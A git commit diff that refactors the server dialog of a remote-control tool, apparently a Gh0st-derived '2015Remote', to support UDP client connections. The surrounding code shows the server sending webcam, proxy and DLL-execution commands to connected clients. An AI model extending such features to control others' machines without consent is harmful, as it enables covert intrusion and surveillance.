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feature: Support client connections over UDP

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This commit is contained in:
yuanyuanxiang
2025-07-02 03:53:21 +08:00
parent 763b4f6f25
commit 848f4089bb
8 changed files with 134 additions and 57 deletions
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49
server/2015Remote/2015RemoteDlg.cpp
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@@ -1036,8 +1036,9 @@ void CMy2015RemoteDlg::Release(){
int n = m_CList_Online.GetItemCount();
for(int Pos = 0; Pos < n; ++Pos)
{
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(Pos);
context* ContextObject = (context*)m_CList_Online.GetItemData(Pos);
ContextObject->Send2Client( &bToken, sizeof(BYTE));
ContextObject->Destroy();
}
LeaveCriticalSection(&m_cs);
Sleep(500);
@@ -1436,10 +1437,10 @@ VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength)
while(Pos)
{
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem);
if (!ContextObject->bLogin && szBuffer[0] != COMMAND_BYE)
context* ContextObject = (context*)m_CList_Online.GetItemData(iItem);
if (!ContextObject->IsLogin() && szBuffer[0] != COMMAND_BYE)
continue;
if (szBuffer[0]== COMMAND_WEBCAM && ContextObject->sClientInfo[ONLINELIST_VIDEO] == CString("无"))
if (szBuffer[0]== COMMAND_WEBCAM && ContextObject->GetClientData(ONLINELIST_VIDEO) == CString("无"))
{
continue;
}
@@ -1632,8 +1633,10 @@ BOOL CMy2015RemoteDlg::Activate(const std::string& nPort,int nMaxConnection)
VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject)
{
if (!g_2015RemoteDlg)
if (!g_2015RemoteDlg || g_2015RemoteDlg->isClosed) {
ContextObject->Destroy();
return;
}
AUTO_TICK(50);
@@ -1771,6 +1774,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
}
case TOKEN_HEARTBEAT: case 137:
UpdateActiveWindow(ContextObject);
ContextObject->Destroy();
break;
case SOCKET_DLLLOADER: {// 请求DLL
auto len = ContextObject->InDeCompressedBuffer.GetBufferLength();
@@ -1890,16 +1894,12 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
try
{
sockaddr_in ClientAddr;
memset(&ClientAddr, 0, sizeof(ClientAddr));
int iClientAddrLen = sizeof(sockaddr_in);
SOCKET nSocket = ContextObject->sClientSocket;
BOOL bOk = getpeername(nSocket, (SOCKADDR*)&ClientAddr, &iClientAddrLen);
strIP = ContextObject->GetPeerName().c_str();
// 不合法的数据包
if (ContextObject->InDeCompressedBuffer.GetBufferLength() != sizeof(LOGIN_INFOR))
{
char buf[100];
sprintf_s(buf, "*** Received [%s] invalid login data! ***\n", inet_ntoa(ClientAddr.sin_addr));
sprintf_s(buf, "*** Received [%s] invalid login data! ***\n", strIP.GetString());
Mprintf(buf);
return -1;
}
@@ -1912,7 +1912,6 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
if (!ContextObject->bLogin) {
Mprintf("*** Received master '%s' client! ***\n", LoginInfor->szMasterID);
}
strIP = inet_ntoa(ClientAddr.sin_addr);
//主机名称
strPCName = LoginInfor->szPCName;
@@ -1934,7 +1933,7 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
strVideo = m_settings.DetectSoftware ? "无" : LoginInfor->bWebCamIsExist ? "有" : "无";
strAddr.Format("%d", nSocket);
strAddr.Format("%d", ContextObject->GetPort());
auto v = LoginInfor->ParseReserved(RES_MAX);
AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,LoginInfor->moduleVersion,LoginInfor->szStartTime, v, ContextObject);
delete LoginInfor;
@@ -1993,10 +1992,10 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx) {
CLock L(m_cs);
int n = m_CList_Online.GetItemCount();
DWORD_PTR cur = (DWORD_PTR)ctx;
context* cur = (context*)ctx;
for (int i = 0; i < n; ++i) {
DWORD_PTR id = m_CList_Online.GetItemData(i);
if (id == cur) {
context* id = (context*)m_CList_Online.GetItemData(i);
if (cur->IsEqual(id)) {
m_CList_Online.SetItemText(i, ONLINELIST_LOGINTIME, hb.ActiveWnd);
if (hb.Ping > 0)
m_CList_Online.SetItemText(i, ONLINELIST_PING, std::to_string(hb.Ping).c_str());
@@ -2018,8 +2017,8 @@ void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx) {
EnterCriticalSection(&m_cs);
for (int i=0, n=m_CList_Online.GetItemCount(); i<n; ++i)
{
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(i);
if (!ContextObject->bLogin)
context* ContextObject = (context*)m_CList_Online.GetItemData(i);
if (!ContextObject->IsLogin())
continue;
ContextObject->Send2Client(buf, sizeof(buf));
}
@@ -2198,7 +2197,7 @@ void CMy2015RemoteDlg::OnMainProxy()
while (Pos)
{
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem);
context* ContextObject = (context*)m_CList_Online.GetItemData(iItem);
BYTE cmd[] = { COMMAND_PROXY };
ContextObject->Send2Client( cmd, sizeof(cmd));
break;
@@ -2223,12 +2222,12 @@ void CMy2015RemoteDlg::OnOnlineHostnote()
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
while (Pos) {
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem);
auto f = m_ClientMap.find(ContextObject->ID);
context* ContextObject = (context*)m_CList_Online.GetItemData(iItem);
auto f = m_ClientMap.find(ContextObject->GetClientID());
if (f == m_ClientMap.end())
m_ClientMap[ContextObject->ID] = ClientValue("", dlg.m_str);
m_ClientMap[ContextObject->GetClientID()] = ClientValue("", dlg.m_str);
else
m_ClientMap[ContextObject->ID].UpdateNote(dlg.m_str);
m_ClientMap[ContextObject->GetClientID()].UpdateNote(dlg.m_str);
m_CList_Online.SetItemText(iItem, ONLINELIST_COMPUTER_NAME, dlg.m_str);
modified = TRUE;
}
@@ -2549,7 +2548,7 @@ void CMy2015RemoteDlg::OnDynamicSubMenu(UINT nID) {
while (Pos && menuIndex < m_DllList.size()) {
Buffer* buf = m_DllList[menuIndex]->Data;
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem);
context* ContextObject = (context*)m_CList_Online.GetItemData(iItem);
ContextObject->Send2Client( buf->Buf(), 1 + sizeof(DllExecuteInfo));
}
LeaveCriticalSection(&m_cs);
@@ -2621,7 +2620,7 @@ void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult)
if (pNMItem->iItem >= 0)
{
// 获取数据
CONTEXT_OBJECT* ctx = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(pNMItem->iItem);
context* ctx = (context*)m_CList_Online.GetItemData(pNMItem->iItem);
CString res[RES_MAX];
CString startTime = ctx->GetClientData(ONLINELIST_LOGINTIME);
ctx->GetAdditionalData(res);